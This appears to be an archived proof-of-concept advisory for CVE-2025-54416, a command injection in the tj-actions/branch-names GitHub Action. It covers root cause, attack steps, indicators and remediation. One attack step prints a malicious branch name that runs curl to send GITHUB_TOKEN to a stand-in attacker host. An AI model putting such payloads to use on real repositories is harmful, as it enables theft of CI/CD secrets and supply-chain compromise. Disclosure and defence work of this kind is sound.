tj-actions/branch-names GitHub Actions Command Injection (CVE-2025-54416)
by DeAngelo Monette (HexborneStudio) · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-54416
- Category
- cloud
- Affected product
- tj-actions/branch-names GitHub Action
- Affected versions
- <= v8.2.1 (per GitHub Advisory GHSA-gq52-6phf-x2r6)
- Disclosed
- 2026-07-06
- Patch status
- patched
Tags
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | DeAngelo Monette (HexborneStudio) |
| CVE / Advisory | CVE-2025-54416 |
| Category | cloud |
| Severity | Critical |
| CVSS Score | 9.1 (per NVD) |
| Status | PoC |
| Tags | github-actions, ci-cd, command-injection, supply-chain, tj-actions, branch-names, secrets-exfiltration, shell-injection |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | tj-actions/branch-names GitHub Action |
| Versions Affected | <= v8.2.1 (per GitHub Advisory GHSA-gq52-6phf-x2r6) |
| Language / Platform | Bash / GitHub Actions (Node-based composite action), any workflow consuming its outputs |
| Authentication Required | No (attacker only needs push/branch-create access, or a PR from a fork depending on workflow trigger) |
| Network Access Required | No — attack executes inside the CI runner via workflow triggers |
Summary
CVE-2025-54416 is a command injection vulnerability in tj-actions/branch-names, a popular GitHub Action used to extract branch/tag names into workflow outputs, affecting over 5,000 public repositories. The root cause is the action’s internal use of eval printf "%s" "$BASE_REF" to emit the branch name to $GITHUB_OUTPUT, which reintroduces shell evaluation of attacker-controlled input even though a previous fix had attempted to sanitize it. An attacker who can create a branch (or otherwise control the ref name reaching the action, e.g. via a PR) can name it with an embedded $(...) command substitution; when a downstream workflow step interpolates the action’s current_branch output into a shell run: block, the substitution executes with the CI runner’s privileges. This PoC repository ships a complete, runnable GitHub Actions workflow (.github/workflows/vulnerable-demo.yml) that reproduces the vulnerable pattern end-to-end, showing secrets such as GITHUB_TOKEN and AWS credentials being reachable for exfiltration.
Vulnerability Details
Root Cause
The vulnerable version of tj-actions/branch-names computes its current_branch output using:
| |
eval forces a second round of shell parsing over attacker-controlled ref text. Any $( ) or backtick command substitution embedded in the branch name is executed by the runner’s shell at this point, and the actual output value written to $GITHUB_OUTPUT (and thus exposed to later ${{ steps.*.outputs.* }} expressions) still carries an unsanitized/undefined value.
Attack Vector
- Attacker creates a branch with a malicious name containing a command substitution, e.g.
main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN). - A victim repository’s workflow (see
vulnerable-demo.ymlin this folder) checks out the repo and callstj-actions/branch-names@v8.2.1to resolve the branch name intosteps.branch-name.outputs.current_branch. - A later
run:step interpolates that output directly into a shell command, e.g.:Because the interpolation happens via GitHub Actions’ template expansion before the shell ever runs, the attacker’s1echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}" >> $GITHUB_ENV$( )payload is dropped into the shell script verbatim. - The runner’s shell evaluates the embedded command substitution, executing arbitrary commands (e.g. exfiltrating
$GITHUB_TOKEN) with the CI job’s permissions. - Because secrets (
GITHUB_TOKEN,AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY, registry credentials, etc.) are typically exposed to later steps in the same job, a single malicious branch name can lead to full secret theft and, indeployjobs, unauthorized image pushes or cloud deployments.
Impact
- Theft of CI/CD secrets:
GITHUB_TOKEN, AWS keys, container registry credentials. - Arbitrary command execution in the CI runner context.
- Unauthorized artifact/image pushes to production registries.
- Downstream supply-chain compromise of any consumer of the built artifacts.
Environment / Lab Setup
Target: Any GitHub repository workflow using tj-actions/branch-names <= v8.2.1
whose output is later interpolated into a shell run: step
Attacker: GitHub account able to push a branch (or open a PR, depending on trigger)
Tools: None beyond a git client and a GitHub repository with Actions enabled
Proof of Concept
PoC Script
See
.github/workflows/vulnerable-demo.ymlin this folder — a complete, runnable GitHub Actions workflow reproducing the vulnerablebuild/deployjob pair.
| |
Detection & Indicators of Compromise
Signs of compromise:
- Workflow run logs show unexpected
curl/wget/ncinvocations not present in the workflow source. - Unrecognized outbound network calls from the runner correlating with a
tj-actions/branch-namesstep. - Rotated/invalidated secrets shortly after a workflow run from an unfamiliar branch name.
- Branches or PRs with unusually crafted names containing
$(...)or backticks.
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade to tj-actions/branch-names@v9 or later, which replaces eval printf "%s" with a safe, non-evaluating printf call. |
| Interim mitigation | Pin the action to a commit SHA of a patched release; avoid interpolating any action output directly into run: shell blocks — pass values via environment variables (env:) instead of ${{ }} template expansion inside scripts; restrict workflow permissions with least-privilege permissions: blocks and avoid exposing cloud credentials to jobs that consume untrusted branch names. |
References
Notes
Mirrored from https://github.com/HexborneStudio/atlas-tj-actions-poc on 2026-07-06. The repository contains a single, complete GitHub Actions workflow (.github/workflows/vulnerable-demo.yml) reproducing both the build and deploy jobs’ vulnerable patterns, rather than a standalone script — it is intended to be dropped into a test repository and triggered via a malicious branch name.